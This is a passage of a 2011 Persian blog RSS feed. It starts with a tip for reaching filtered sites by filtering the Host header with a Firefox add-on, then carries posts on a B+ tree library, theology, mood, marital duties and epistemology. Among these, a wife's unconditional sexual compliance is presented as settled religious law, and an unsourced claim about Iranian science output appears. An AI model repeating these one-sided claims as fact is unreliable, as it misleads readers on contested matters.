	<li>حجم نسبتا زیادی اطلاعات در قالب HTML خروجی داده می‌شود که همان صفحه فیس بوک است.</li>
</ol>
<pre dir="ltr">HTTP/1.1 302 Found
Location: http://www.facebook.com/common/browser.php
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.27.60.111
Date: Sun, 31 Jul 2011 03:05:00 GMT
Content-Length: 0</pre>
انجام این فرآیند به صورت دستی بسیار دشوار است، و همچنین خروجی HTML برای انسان قابل فهم نیست. اما این مکانیزم را به سادگی می‌توانید در مرورگرهای قدرتمند پیاده کنید. به عنوان مثال در مرورگر Firefox افزونه <a title="Firefox Plugin" href="https://addons.mozilla.org/en-US/firefox/addon/modify-headers/" target="_blank">Modify Headers</a> را نصب کنید. پس از اتمام نصب و راه‌اندازی مجدد مرورگر، از منوی Tools صفحه تنظیمات آنرا باز کنید. در فیلد های موجود Action را معادل Filter و Header name را معادل Host قرار داده، کلید Add را فشار دهید. اکنون فیلتر اضافه شده در لیست را انتخاب کرده، کلید Enable را فشار دهید تا چراغ کنار آن سبز شود.

حال به آدرس <a href="http://abiusx.com" target="_blank">www.abiusx.com</a> مراجعه کنید. با پیام خطای سرور مواجه خواهید شد، زیرا نتوانسته تشخیص دهد کدام سایت روی آنرا خواسته‌اید. اما اگر به سایت <a href="http://www.facebook.com" target="_blank">www.facebook.com </a>مراجعه نمایید مشاهده می‌کنید که مشکلی وجود ندارد و سایت بدون مشکل باز می‌شود. (البته توجه داشته باشید که برخی از تصاویر، به دلیل قرار داشتن بر روی سرورهای چندسایتی، بار نخواهند شد).

پس از اینکه از سایت‌های مورد نظر (که قبلا فیلتر بودند)‌ دیدن کردید، می‌توانید مجددا از پنجره تنظیمات Modify Headers، فیلتر را انتخاب کرده آنرا غیر فعال کنید.

&nbsp;

</div>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d9%86%d8%ad%d9%88%d9%87-%d9%81%db%8c%d9%84%d8%aa%d8%b1%db%8c%d9%86%da%af-%d8%af%d8%b1-%d8%a7%db%8c%d8%b1%d8%a7%d9%86-%d9%88-%d9%86%d9%82%d8%a7%d8%b7-%d8%b6%d8%b9%d9%81-%d8%a2%d9%86/feed/</wfw:commentRss>
		<slash:comments>83</slash:comments>
		</item>
		<item>
		<title>WB-Tree</title>
		<link>http://abiusx.com/wb-tree/</link>
		<comments>http://abiusx.com/wb-tree/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 18:32:51 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[کامپیوتر]]></category>
		<category><![CDATA[B+ Tree]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[MIT]]></category>
		<category><![CDATA[Scheme]]></category>
		<category><![CDATA[SCM]]></category>
		<category><![CDATA[SLib]]></category>
		<category><![CDATA[WB]]></category>
		<category><![CDATA[WB Tree]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=607</guid>
		<description><![CDATA[آقای Jaffer یک پیاده‌سازی تر و تمیز و خوب و کاملا متن باز و قابل استفاده از B+ Tree انجام داده که خیلی راحت قابل استفاده هست و امکانات خوبی هم داره. ایشون از MIT هستند و زبان SCM که یک پیاده‌سازی آزاد و استاندارد از Scheme هست رو به همراه SLib پیاده‌سازی کرده. این [...]]]></description>
				<content:encoded><![CDATA[آقای <a href="http://people.csail.mit.edu/jaffer/">Jaffer</a> یک پیاده‌سازی تر و تمیز و خوب و کاملا متن باز و قابل استفاده از B+ Tree انجام داده که خیلی راحت قابل استفاده هست و امکانات خوبی هم داره. ایشون از MIT هستند و زبان <a href="http://people.csail.mit.edu/jaffer/SCM">SCM</a> که یک پیاده‌سازی آزاد و استاندارد از <a href="http://en.wikipedia.org/wiki/SCM_(Scheme_implementation)">Scheme</a> هست رو به همراه <a href="http://people.csail.mit.edu/jaffer/SLIB">SLib</a> پیاده‌سازی کرده.

این کتابخونه که <a href="http://people.csail.mit.edu/jaffer/WB">WB-Tree</a> نام داره، در سی پلاس پلاس قابل استفاده نبود که بعد از کمی تعاملات و همکاری بین من و ایشون، قابل استفاده شد و یک راهنما و یک برنامه نمونه برای اون نوشتم. آدرس راهنما به شرح زیر هست :
<p style="text-align: center; direction: ltr;"><a href="http://abiusx.com/code/wb/">http://abiusx.com/code/wb/</a></p>
<p style="text-align: right;">این پروژه و راهنما جهت پروژه ذخیره و بازیابی دانشجویان <a href="http://ece.sbu.ac.ir">مهندسی کامپیوتر شهید بهشتی</a> مهیا شده ولی در انواع پروژه‌های دیگر با ضریب اطمینان بالایی قابل استفاده هست. این راهنما در حال حاضر به عنوان راهکار اصلی استفاده از کتابخانه در<span dir="ltr">C++</span> هم در سایت اصلی مطرح شده. امیدوارم مفید باشه.</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/wb-tree/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>تقابل فضل و عدالت الهی</title>
		<link>http://abiusx.com/%d8%aa%d9%82%d8%a7%d8%a8%d9%84-%d9%81%d8%b6%d9%84-%d9%88-%d8%b9%d8%af%d8%a7%d9%84%d8%aa-%d8%a7%d9%84%d9%87%db%8c/</link>
		<comments>http://abiusx.com/%d8%aa%d9%82%d8%a7%d8%a8%d9%84-%d9%81%d8%b6%d9%84-%d9%88-%d8%b9%d8%af%d8%a7%d9%84%d8%aa-%d8%a7%d9%84%d9%87%db%8c/#comments</comments>
		<pubDate>Thu, 02 Jun 2011 07:30:27 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[تحلیلی]]></category>
		<category><![CDATA[علمی]]></category>
		<category><![CDATA[مذهبی]]></category>
		<category><![CDATA[انصاف]]></category>
		<category><![CDATA[بی عدالتی]]></category>
		<category><![CDATA[حکمت]]></category>
		<category><![CDATA[رحمت]]></category>
		<category><![CDATA[عادلانه]]></category>
		<category><![CDATA[عدالت]]></category>
		<category><![CDATA[فضل]]></category>
		<category><![CDATA[فضل الهی]]></category>
		<category><![CDATA[مساوات]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=597</guid>
		<description><![CDATA[از مسائلی که ممکن است ذهن آدم را درباره عدل الهی مشغول کند، بحث فضل خداست. دقت داشته باشید که عدالت از ویژگیهای ذاتا مطلوبه و لذا چون خدا عادله ما نمی‌گیم عدالت خوبه، بلکه ذاتا عدالت خوبه. البته تعیین مصادیق عدالت خیلی کار راحتی نیست ولی در یک کلیاتی ممکن است. فضل خداوند، ناشی [...]]]></description>
				<content:encoded><![CDATA[از مسائلی که ممکن است ذهن آدم را درباره عدل الهی مشغول کند، بحث فضل خداست. دقت داشته باشید که عدالت از ویژگیهای ذاتا مطلوبه و لذا چون خدا عادله ما نمی‌گیم عدالت خوبه، بلکه ذاتا عدالت خوبه. البته تعیین مصادیق عدالت خیلی کار راحتی نیست ولی در یک کلیاتی ممکن است.

فضل خداوند، ناشی از رحمت خداوند، یعنی اینکه خداوند به هرکسی که بخواهد خارج از حساب می‌دهد. شاید بارزترین مصداق فضل خداوند، معصومین و اولیا باشند، که خداوند به آنها از جایی که حساب نکنند بخشیده. ممکن است سوال پیش بیاید که معصوم بودن معصومین و عدم امکان معصوم بودن (یا امام و پیامبر) بودن امثال ما، چگونه با عدل الهی سازگار است؟ و سوالاتی از این قبیل که همگی مرتبط به فضل خداوند هستند، یعنی جایی که خداوند بی حساب به کسی می‌بخشد. اصلا مگر بی حساب بخشیدن عادلانه است؟

مشکل ازینجاست که در مصداق سنجی عدالت، همواره به موارد دنیایی و مادی اندیشیده‌ایم و با مدل دنیا سنجیده‌ایم. در این دنیا، اگر حاکم از بیت المال به کسی چیزی بیشتر دهد (از فضل خود)، عادلانه نیست، زیرا باعث شده به بقیه سهم کمتری برسد. حتی اگر معلمی به شاگردی نمره بیشتر دهد، هرچند ظاهرا حق دیگران را کمتر نکرده، ولی عملا از آنجایی که نمره و معدل در امکانات تعلق گرفته بعدی موثر است، عادلانه نیست زیرا دیگران را با اینکار پایینتر آورده و از حقوق آتی آنها کاسته است. لذا دنیا محدود است و هرگونه فضل دنیایی، محکوم به بی عدالتی.

اما خداوند اینگونه نیست و از بیکران فضل خود را عطی می‌کند. اگر خداوند به کسی خیر دنیا و آخرت را ببخشد، حتی بدون حساب،‌نه از دیگران چیزی کم می‌شود و نه ضرری متصور آنان می‌گردد. از این رو خداوند حکیم این را  ذکر می‌کند که به هرکسی هرآنچه بخواهیم می‌بخشیم و بزرگان نیز این را با عدالت خدا همسو می‌دانند، هرچند نفس انسان در ابتدا از پذیرش آن سر باز زند.]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d8%aa%d9%82%d8%a7%d8%a8%d9%84-%d9%81%d8%b6%d9%84-%d9%88-%d8%b9%d8%af%d8%a7%d9%84%d8%aa-%d8%a7%d9%84%d9%87%db%8c/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>خوشحالی و ناراحتی</title>
		<link>http://abiusx.com/%d8%ae%d9%88%d8%b4%d8%ad%d8%a7%d9%84%db%8c-%d9%88-%d9%86%d8%a7%d8%b1%d8%a7%d8%ad%d8%aa%db%8c/</link>
		<comments>http://abiusx.com/%d8%ae%d9%88%d8%b4%d8%ad%d8%a7%d9%84%db%8c-%d9%88-%d9%86%d8%a7%d8%b1%d8%a7%d8%ad%d8%aa%db%8c/#comments</comments>
		<pubDate>Wed, 11 May 2011 11:10:06 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[انتقادی]]></category>
		<category><![CDATA[تحلیلی]]></category>
		<category><![CDATA[مذهبی]]></category>
		<category><![CDATA[Mood]]></category>
		<category><![CDATA[احساس]]></category>
		<category><![CDATA[بد و غلط]]></category>
		<category><![CDATA[تصمیم‌گیری]]></category>
		<category><![CDATA[حس]]></category>
		<category><![CDATA[خاطره تلخ]]></category>
		<category><![CDATA[خاطره خوش]]></category>
		<category><![CDATA[خوب و درست]]></category>
		<category><![CDATA[ذهن]]></category>
		<category><![CDATA[فطرت]]></category>
		<category><![CDATA[فطرت حیوانی]]></category>
		<category><![CDATA[قضاوت]]></category>
		<category><![CDATA[مود]]></category>
		<category><![CDATA[ناخودآگاه]]></category>
		<category><![CDATA[نفس]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=520</guid>
		<description><![CDATA[مطلبی که می‌نویسم، پیش‌نویسش برای ۱۶ آذر ۸۹ است. اما به نظرم الان در بین پیش‌نویس‌هایی که دارم مهمترین مورد است، امیدوارم که با خواندن آن گوشه تاریکی از ذهن و دلمان روشن شود. از مسائلی که در زندگی خیلی با آنها درگیر هستیم، خوشحالی و ناراحتی یا به عبارت کلی‌تر مود (Mood) ماست. هیچکس [...]]]></description>
				<content:encoded><![CDATA[مطلبی که می‌نویسم، پیش‌نویسش برای ۱۶ آذر ۸۹ است. اما به نظرم الان در بین پیش‌نویس‌هایی که دارم مهمترین مورد است، امیدوارم که با خواندن آن گوشه تاریکی از ذهن و دلمان روشن شود.

از مسائلی که در زندگی خیلی با آنها درگیر هستیم، خوشحالی و ناراحتی یا به عبارت کلی‌تر مود (Mood) ماست. هیچکس نمی‌تواند ادعا کند که زندگی انسان از خوشحالی و ناراحتی تشکیل نشده‌است و فردی دائم خوشحال یا دائم ناراحت بوده است. قصد من مدل کردن ناراحتی و خوشحال در این نوشته نیست، بلکه قصد دارم به تاثیرات این دو «حس» بر روی زندگی انسان بپردازم.

اگر پس از انجام کاری احساس خوشحالی کنیم و از آنجام آن مسرور شویم، این عمل در ذهن ما تاثیر می‌گذارد و آنرا با خاطره خوشی یاداوری می‌کنیم. برعکس اگر از انجام کاری (چه توسط ما و چه دیگران) ناراحت شویم، سعی می‌کنیم زیاد به آن فکر نکنیم و در ناخودآگاه ذهن خود آنرا نامناسب می‌پنداریم.

این تفکرات ناخودآگاه، در دراز مدت باعث می‌شود به این نتیجه برسیم که هر کاری که ما را خوشحال می‌کند، کاری خوب و «درست» است و هر کاری که از انجام آن ناراحت می‌شویم کاری بد و «غلط» است، تا جایی که خوشحالی و ناراحتی محور اصلی تصمیم‌گیری‌ها و تعیین مسیر زندگی ما می‌گردد، همانطوری که فرهنگ گمراه لیبرالیزم اعتقاد دارد باید طوری زندگی کرد تا خوشحال بود و در هر زمان تنها پاسخ پرسش «Are you happy doing this» می‌تواند در تصمیم‌گیری به ما کمک کند.

اما آیا واقعا اینچنین است؟ قطعا اینچنین نیست و این از نفس و فطرت حیوانی ماست که نشات می‌گیرد، چنانچه حیوانات بر اساس همین احساس عمل می‌کنند و کاری به منفعت و مصلحت و غیره ندارند. برای اینکه ملموس‌تر درک کنیم اینچنین نیست، چند مثال می‌زنم :
<ul>
	<li>امر به معروف و نهی از منکر که کاری واجب و مهم است، معمولا باعث ناراحت شدن مخاطب می‌شود (و به دلیل همین ناراحتی در او تاثیر می‌گذارد)</li>
	<li>استفاده از مواد مخدر و مشروبات الکلی، به سادگی می‌تواند خوشحالی و شادی انسان را چندین برابر کند، اما آیا مصرف آنها کاری درست است؟ (و به همین دلیل است که در فرهنگ‌های لیبرال مصرف این موارد بسیار بسیار بالاست)</li>
	<li>انسان‌های موفق و تاثیرگذار هموارد سختکوش و سختی کشیده بوده‌اند. زندگی اینگونه انسان‌ها معمولا هموار نبوده و قسمت عمده آنرا ناراحتی‌های بزرگ تشکیل داده است. برعکس انسان‌های سبک مغز و بی تاثیر معمولا زندگی راحت و خوشی داشته‌اند.</li>
</ul>
بنابراین باید توجه داشت که تصمیم‌گیری و قضاوت در مورد درستی و غلطی کارها نباید توسط احساس انسان، آنهم احساس ناخودآگاه خوشحالی و ناراحتی صورت بگیرد و انسانی موفق‌تر خواهد بود که بتواند تاثیر این احساسات را در اتخاذ تصمیمات خود به حداقل برساند.

حال واقعا ما چقدر بر اساس این دو احساس تصمیم می‌گیریم و عمل می‌کنیم؟

&nbsp;]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d8%ae%d9%88%d8%b4%d8%ad%d8%a7%d9%84%db%8c-%d9%88-%d9%86%d8%a7%d8%b1%d8%a7%d8%ad%d8%aa%db%8c/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>وظایف زن و مرد در زندگی زناشویی</title>
		<link>http://abiusx.com/%d9%88%d8%b8%d8%a7%db%8c%d9%81-%d8%b2%d9%86-%d9%88-%d9%85%d8%b1%d8%af-%d8%af%d8%b1-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b2%d9%86%d8%a7%d8%b4%d9%88%db%8c%db%8c/</link>
		<comments>http://abiusx.com/%d9%88%d8%b8%d8%a7%db%8c%d9%81-%d8%b2%d9%86-%d9%88-%d9%85%d8%b1%d8%af-%d8%af%d8%b1-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b2%d9%86%d8%a7%d8%b4%d9%88%db%8c%db%8c/#comments</comments>
		<pubDate>Fri, 06 May 2011 14:26:59 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[انتقادی]]></category>
		<category><![CDATA[تحلیلی]]></category>
		<category><![CDATA[مذهبی]]></category>
		<category><![CDATA[ازدواج]]></category>
		<category><![CDATA[ازدواج اسلامی]]></category>
		<category><![CDATA[تربیت فرزند]]></category>
		<category><![CDATA[تمکین]]></category>
		<category><![CDATA[خانواده]]></category>
		<category><![CDATA[خانواده اسلامی]]></category>
		<category><![CDATA[خانواده غربی]]></category>
		<category><![CDATA[رتق و فتق منزل]]></category>
		<category><![CDATA[زن]]></category>
		<category><![CDATA[زناشویی]]></category>
		<category><![CDATA[زندگی]]></category>
		<category><![CDATA[عاطفه]]></category>
		<category><![CDATA[عذر شرعی]]></category>
		<category><![CDATA[قانون]]></category>
		<category><![CDATA[مرد]]></category>
		<category><![CDATA[نفقه]]></category>
		<category><![CDATA[همبستری]]></category>
		<category><![CDATA[وظایف]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=589</guid>
		<description><![CDATA[چند وقت پیش مطلبی در این باب شنیدم و بررسی‌هایی هم کردم، و بعد که به سراغ اینترنت و سایت‌های به اصطلاح آخوندی رفتم و دنبال وظایف زن و مرد در زندگی زناشویی گشتم، غیر از قصه و توصیه و عقاید شخصی چیزی گیرم نیامد. هرکسی زحمت کشیده بود یک مشت حدیث لیست کرده بود [...]]]></description>
				<content:encoded><![CDATA[چند وقت پیش مطلبی در این باب شنیدم و بررسی‌هایی هم کردم، و بعد که به سراغ اینترنت و سایت‌های به اصطلاح آخوندی رفتم و دنبال وظایف زن و مرد در زندگی زناشویی گشتم، غیر از قصه و توصیه و عقاید شخصی چیزی گیرم نیامد. هرکسی زحمت کشیده بود یک مشت حدیث لیست کرده بود که معلوم نبود درست باشند یا نه و یک سری نتیجه مشکوک تر از حدیث از آنها گرفته بود و یک طومار وظایف تافته بود.

لذا تصمیم گرفتم به صورت دقیق و قطعی، همانگونه که شایسته مکتب عدلیه (شیعه)‌است و برعکس نوشته‌های دیمی و غیر دقیق و روی هوا که باعث شک و تردید و تفرقه می‌شود، این بحث رو که بسیار کوتاه هم هست بنویسم، چون احساس می‌کنم برای هرکسی که می‌خواهد ازدواجی اسلامی داشته باشد، دانستن این مطلب بسیار بسیار مهم است و می‌بینم افرادی رو که به خاطر ندانستن این موضوع به خاکی زده‌اند.

<strong>وظایف قطعی مرد در قبال زن در زندگی زناشویی:</strong>
<ol>
	<li>نفقه، شامل (خوراک، پوشاک، مسکن)‌در حد شانیت زن: توجه داشته باشید که اگر مثلا زنی از یک خانواده ثروتمند بگیرد، باید در حد شان همان زن و همان خانواده نفقه برای زن تامین کند و این وظیفه اوست (اگر نتواند قصور کرده است). نفقه توسط مرد برای زن هزینه می‌شود و جزو مایملک زن تلقی می‌گردد.</li>
	<li>نگهداری و تربیت فرزندان: تعجب نکنید، این هم وظیفه مرد است هرچند معمولا خانم‌ها انجام می‌دهند. به دلیل همین وظیفه هم هست که حضانت فرزند متعلق به مرد است.</li>
	<li>نگهداری و رتق و فتق خانه: بله این هم وظیفه مرد است. به همین دلیل است که زن می‌تواند برای هرکاری که در منزل انجام می‌دهد، طلب مزد کند و یا انجام ندهد.</li>
	<li>تمکین نسبی: مرد وظیفه دارد که از شب‌های خود قسمتی را حتما به همسر خود اختصاص دهد و پیش او باشد. همچنین مرد وظیفه دارد در هر مدت (حدود عرفی چند ماه) حداقل یکبار خود را از همسرش دریغ نکند.</li>
</ol>
<strong>وظایف قطعی زن در قبال مرد در زندگی زناشویی:</strong>
<ol>
	<li>تمکین : تنها وظیفه زن در قبال مرد در زندگی زناشویی تمکین است. تمکین در اصطلاح فقهی یعنی هرموقع مرد از زن درخواست همبستری کرد، زن نباید رد کند (مگر اینکه عذر قطعی داشته باشد).</li>
</ol>
&nbsp;

توجه داشته باشید که از نظر اسلام، وظایف زن و مرد در زندگی زناشویی فقط همانست که در بالا بیان شد، اما از آنجایی که زندگی زناشویی بر عاطفه و محبت استوار است و نه بر قانون (بر عکس خانواده قانونمند و خشک غربی) معمولا زنها که عاطفی‌تر هستند بسیار بیشتر فداکاری می‌کنند. فراموش نکنیم که این فداکاری در طی تاریخ به عرفی تبدیل گشته که وظایف زن را آنچنان دستخوش تغییر کرده که تصویر همگی ما از زندگی زناشویی و وظایف زن و شوهر و باالتبع آن قوانین حوزه زناشویی، جابجا شده است.]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d9%88%d8%b8%d8%a7%db%8c%d9%81-%d8%b2%d9%86-%d9%88-%d9%85%d8%b1%d8%af-%d8%af%d8%b1-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b2%d9%86%d8%a7%d8%b4%d9%88%db%8c%db%8c/feed/</wfw:commentRss>
		<slash:comments>121</slash:comments>
		</item>
		<item>
		<title>متعه از دیدگاه قرآن</title>
		<link>http://abiusx.com/%d9%85%d8%aa%d8%b9%d9%87-%d8%a7%d8%b2-%d8%af%db%8c%d8%af%da%af%d8%a7%d9%87-%d9%82%d8%b1%d8%a2%d9%86/</link>
		<comments>http://abiusx.com/%d9%85%d8%aa%d8%b9%d9%87-%d8%a7%d8%b2-%d8%af%db%8c%d8%af%da%af%d8%a7%d9%87-%d9%82%d8%b1%d8%a2%d9%86/#comments</comments>
		<pubDate>Thu, 21 Apr 2011 21:50:47 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[دسته‌بندی نشده]]></category>
		<category><![CDATA[ازدواج موقت]]></category>
		<category><![CDATA[تحقیق]]></category>
		<category><![CDATA[قرآن]]></category>
		<category><![CDATA[متعه]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=583</guid>
		<description><![CDATA[یک تحقیق جمع و جوری انجام دادم در باب اثبات اینکه متعه جایز و حلاله برای نقطه شروع. بعد از اینکه حلت اثبات شد به ویژگی‌ها و شرایط بهتر می‌شه پرداخت. اگر دوستان مایل بودند مطلب رو منتشر کنند که دیگران هم استفاده کنند. ممنون http://abiusx.com/archive/html/mut&#8217;a.html]]></description>
				<content:encoded><![CDATA[یک تحقیق جمع و جوری انجام دادم در باب اثبات اینکه متعه جایز و حلاله برای نقطه شروع. بعد از اینکه حلت اثبات شد به ویژگی‌ها و شرایط بهتر می‌شه پرداخت. اگر دوستان مایل بودند مطلب رو منتشر کنند که دیگران هم استفاده کنند. ممنون
<p style="text-align: center;"><a title="mut'a in Quran" href="http://abiusx.com/archive/html/mut'a.html">http://abiusx.com/archive/html/mut&#8217;a.html</a></p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d9%85%d8%aa%d8%b9%d9%87-%d8%a7%d8%b2-%d8%af%db%8c%d8%af%da%af%d8%a7%d9%87-%d9%82%d8%b1%d8%a2%d9%86/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>معرفت / استدلال</title>
		<link>http://abiusx.com/%d9%85%d8%b9%d8%b1%d9%81%d8%aa-%d8%a7%d8%b3%d8%aa%d8%af%d9%84%d8%a7%d9%84/</link>
		<comments>http://abiusx.com/%d9%85%d8%b9%d8%b1%d9%81%d8%aa-%d8%a7%d8%b3%d8%aa%d8%af%d9%84%d8%a7%d9%84/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 21:14:26 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[تحلیلی]]></category>
		<category><![CDATA[علمی]]></category>
		<category><![CDATA[Deduction]]></category>
		<category><![CDATA[Epistemology]]></category>
		<category><![CDATA[Induction]]></category>
		<category><![CDATA[Inference]]></category>
		<category><![CDATA[Positivism]]></category>
		<category><![CDATA[آزمایش]]></category>
		<category><![CDATA[استدلال]]></category>
		<category><![CDATA[استدلال کسری]]></category>
		<category><![CDATA[استقرا]]></category>
		<category><![CDATA[استنتاج]]></category>
		<category><![CDATA[اسلام و علم]]></category>
		<category><![CDATA[انواع استدلال]]></category>
		<category><![CDATA[اپیستمولوژی]]></category>
		<category><![CDATA[تجربه]]></category>
		<category><![CDATA[دوران طلایی]]></category>
		<category><![CDATA[شیعه]]></category>
		<category><![CDATA[عدلیه]]></category>
		<category><![CDATA[عقل]]></category>
		<category><![CDATA[علم]]></category>
		<category><![CDATA[قیاس]]></category>
		<category><![CDATA[معرفت‌شناسی]]></category>
		<category><![CDATA[منطق]]></category>
		<category><![CDATA[پوزیتیویسم]]></category>
		<category><![CDATA[کسر]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=572</guid>
		<description><![CDATA[علم (که در این مطلب به معرفت و شناخت اشاره دارد) از چند طریق به دست می‌آید؛ از میان آنها تنها به علم حصولی خواهیم پرداخت و علم‌هایی که به گونه‌های دیگر (مانند وحی و غیره)‌به دست می‌آیند بررسی نمی‌کنیم. انواع استدلال علم به طور کلی از راه استدلال به دست می‌آید، بنابراین نظریه‌هایی که [...]]]></description>
				<content:encoded><![CDATA[<!--:FA-->علم (که در این مطلب به معرفت و شناخت اشاره دارد) از چند طریق به دست می‌آید؛ از میان آنها تنها به علم حصولی خواهیم پرداخت و علم‌هایی که به گونه‌های دیگر (مانند وحی و غیره)‌به دست می‌آیند بررسی نمی‌کنیم.

<strong>انواع استدلال</strong>

علم به طور کلی از راه استدلال به دست می‌آید، بنابراین نظریه‌هایی که از وهم ناشی می‌شوند علم نمی‌نامیم. (قسمت عمده‌ای از خلاقیت انسانی از قوه وهم بهره می‌گیرد). استدلال نیز به سه دسته زیر تقسیم می‌گردد:
<ul>
	<li> استنتاج ( به طور دقیقتر کسر) Deduction</li>
	<li> استقرا  Induction</li>
	<li>استنتاج Inference</li>
</ul>
متاسفانه در واژگان فارسی هر سه این لغات به قیاس یا استنتاج ترجمه می‌شوند. کسر یعنی از یک حکم جامع و شامل به یک حکم جزئی‌تر رسیدن، از علت به معلول رسیدن (ترجمه لغوی)؛ مثلا اگر افتاب بتابد هوا گرم می‌شود. استقرا یعنی از جزء به کل رسیدن. مثلا اگر به صد پرنده سنگ پرت کنی فرار کنند، نتیجه می‌گیری به صد و یکمی هم سنگ پرت کنی فرار می‌کند. (استقرای ریاضی با استقرا تفاوت دارد و یک نوع کسر است).

اما استنتاج (Inference) یعنی در عرض جلو رفتن. به عنوان مثال اگر a=b , b=c استنتاج می‌کنیم که a=c. این حکم را به دست نیاورده‌ایم، موجود بوده و تنها آنرا به لیست احکام اضافه کردیم. (تا حدودی شبیه کسر) جالب توجه آنکه ذهن انسان قسمت عمده زمان تفکر و تعقل را صرف استنتاج می‌کند تا از چیزهایی که می‌داند به ظاهر چیزهایی جدیدی یاد بگیرد.

<div id="attachment_575" class="wp-caption aligncenter" style="width: 293px"><a href="http://abiusx.com/blog/wp-content/uploads/2011/04/epistemology-1.jpg"><img class="size-medium wp-image-575" title="معرفت شناسی" src="http://abiusx.com/blog/wp-content/uploads/2011/04/epistemology-1-283x300.jpg" alt="معرفت شناسی" width="283" height="300" /></a><p class="wp-caption-text">معرفت شناسی</p></div>

<strong>پوزیتیویسم، استقرا و آزمایش</strong>

مکتب پوزیتیویسم (Positivism) که بنیان غرب امروزی بوده و هست، بر مبنای استقرا بنا شده است. در این تفکر، کسر به عنوان روشی برای کسب علم وجود ندارد و تنها از استقرا می‌توان به علم رسید، به همین دلیل است که این مکتب چیزهایی مثل روح و یا دین را به هیچ وجه علم نمی‌داند (زیرا قادر به تجربه کردن و آزمایش و استقرای آن نیست).

توجه به این نکته اساسیست که در واقع عملکرد استقرا شبیه‌سازی کسر است، که با ضعف صورت می‌گیرد. به عنوان مثال ما استدلال می‌کنیم که «چون سیب از درخت بر سر نیوتون افتاد، پس نیروی جاذبه در زمین وجود دارد» در حالی که این استدلال نادرست است، زیرا اگر سیب بر سر نیوتون نیافتد هم جاذبه وجود دارد، پس علت وجود جاذبه، افتادن سیب نبوده. در واقع در استقرا سعی داریم بگویم «چون جاذبه وجود دارد سیب از درخت بر سر نیوتون افتاد» اما چون نمی‌توانیم این حکم را ثابت کنیم از نسخه معکوس و نادرست قبلی استفاده می‌کنیم.

به همین دلیل است که استقرا معرفت قطعی و جزمی به ما نمی‌دهد و از همین روست که اپیستمولوژی غرب به جایی رسیده که ادعا می‌کند هیچ معرفت قابل اثبات و صحیحی وجود ندارد و هرچیزی که قابل رد کردن و آزمایش کردن نباشد هم علم نیست.

<strong>کسر و پیش‌نیازهای آن</strong>

برای آنکه بتوانیم از استدلال کسری استفاده کنیم، باید ابتدا اصول صحیحی را در نظر «فرض» بگیریم که بتوانیم آنها را کسر دهیم و به نتایج و احکام دیگری برسیم. این اصول صحیح را منطق می‌نامیم و آنرا تعریف می‌کنیم « آن چیزی که انسان‌های سالم به صورت مشترک و بدیهی قبول دارند»؛ مثل اینکه جمع نقیضین محال است. در واقع منطق علمی حضوریست که هر انسانی بدون تلاش آنرا درون خود دارد و اگر آنرا نداشته باشیم، امکان بهره گیری از کسر را نیز نخواهیم داشت.

پس از فرض گرفتن منطق و اصول آن (محال بودن دور، محال بودن تسلسل، محال بودن جمع نقیضین و &#8230;) به ناگه حجم انبوهی از گذاره‌های عقلی مسلم به حوزه احکام اضافه می‌گردند که با تجمیع و کسر آنها می‌توان حجم انبوهی از علم را در دست داشت.

<strong>اسلام و علم</strong>

مکتب عدلیه (شیعه) با اتکا به منطق و قائل شدن اعتبار ذاتی برای عقل (انسان با عقل به دنیا می‌آید) به اثبات وجود خدا، صفات وی، معاد، نبوت و &#8230; می‌پردازد. تمامی این احکام نیز به صورت کسری اثبات می‌گردند و از استقرا استفاده‌ای نمی‌شود، به همین دلیل این شق از علم مشکوک و نسبی نیست.

لازم به ذکر است که علم کسری خصوصا در بین علمای اسلامی تا حدود بسیار زیادی پیش رفته و به قله‌های بسیار مرتفعی رسیده‌است که به دلایل مختلف به اندازه کافی با آن آشنا نیستیم. همین علم کسری نیز باعث دوران طلایی جهان اسلام شد که در ظرف چند صد سال سریعترین رشد علم در کل تاریخ بشر را در جهان اسلام مشاهده کردیم (که بر آشنایان با آن واضح است قابل مقایسه با رشد علم در حال حاضر نبوده است). می‌توان دلیل این امر را اتکای مسلمانان به بخش‌های قطعی از علم دانست که با کسر به دست آمده و باعث شده بودند کاخ علم به سادگی علم شود. (شاید به همین دلیل ایران با رشد متوسط ۱۱ برابر دنیا در تولید علم، در حوزه معرفت‌شناسی و اپیستمولوژی کمتر از میانگین جهان فعالیت داشته است، به علت عدم نیاز)<!--:-->]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d9%85%d8%b9%d8%b1%d9%81%d8%aa-%d8%a7%d8%b3%d8%aa%d8%af%d9%84%d8%a7%d9%84/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>انقلاب مصر و برخورد صحیح با آن</title>
